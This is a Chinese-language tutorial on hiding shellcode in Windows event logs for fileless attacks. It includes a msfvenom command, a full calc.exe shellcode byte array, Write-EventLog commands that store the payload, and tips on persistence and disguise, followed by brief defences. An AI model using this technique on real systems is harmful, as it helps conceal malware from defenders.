巧用Windows事件日志“隐藏”载荷
字数 940 2025-08-25 22:58:41
巧用Windows事件日志隐藏载荷技术详解
背景介绍
根据卡巴斯基研究报告,攻击者可以将shellcode直接放入Windows事件日志中,利用这种技术掩盖特洛伊木马病毒的恶意使用,实现"无文件"攻击。本文将详细介绍该技术的实现方法。
Windows事件日志基础
日志类型
Windows主要日志位于"Windows日志"文件夹中,包含五个标准类别:
- 应用程序日志
- 安全日志
- Setup日志
- 系统日志
- Forwarded Events
日志结构
每条事件日志记录包含9个字段:
- 日志名称
- 来源
- 记录时间
- 事件ID
- 任务类别
- 级别
- 计算机
- 事件数据(EventData) - 支持消息和二进制数据
写入事件日志
基本写入方法
使用PowerShell的Write-EventLog命令:
Write-EventLog -LogName Application -Source edge -EventID 65535 -EntryType Information -Category 0 -Message "Hello World!"
写入二进制载荷步骤
- 生成shellcode:
使用msfvenom生成弹计算器的payload,输出为十六进制字符串:
msfvenom -p windows/x64/exec CMD=calc.exe -f hex
- 转换为字节数组:
$data = [Byte[]](0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00)
- 写入事件日志:
使用密钥管理服务日志和KmsRequests作为源:
Write-EventLog -LogName 'Key Management Service' -Source KmsRequests -EventID 9999 -EntryType Information -Category 0 -Message "Hello World!" -RawData $data
读取并执行载荷
C++实现
使用Visual Studio编译PoC代码,从"Key Management Services"日志中提取二进制载荷数据并执行。
Python实现
使用win32evtlog模块读取事件日志内容,结合常见的shellcode注入技术执行载荷。
持久化技巧
-
注册表配置:
- 路径:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\<日志名称> - 修改
EventMessageFile属性,使事件ID看起来合法
- 路径:
-
伪装技巧:
- 使用常见的事件ID和级别
- 模仿正常日志的格式和内容
限制与注意事项
-
权限要求:
- 需要写入事件日志的权限
-
大小限制:
- 事件消息字符串最大限制为31,839个字符
-
隐蔽性:
- 避免使用异常的事件ID和级别
- 确保日志源看起来合法
防御措施
- 监控异常的事件日志写入操作
- 检查不常见日志源的事件记录
- 限制对关键日志的写入权限
- 使用高级威胁检测工具分析日志中的异常二进制数据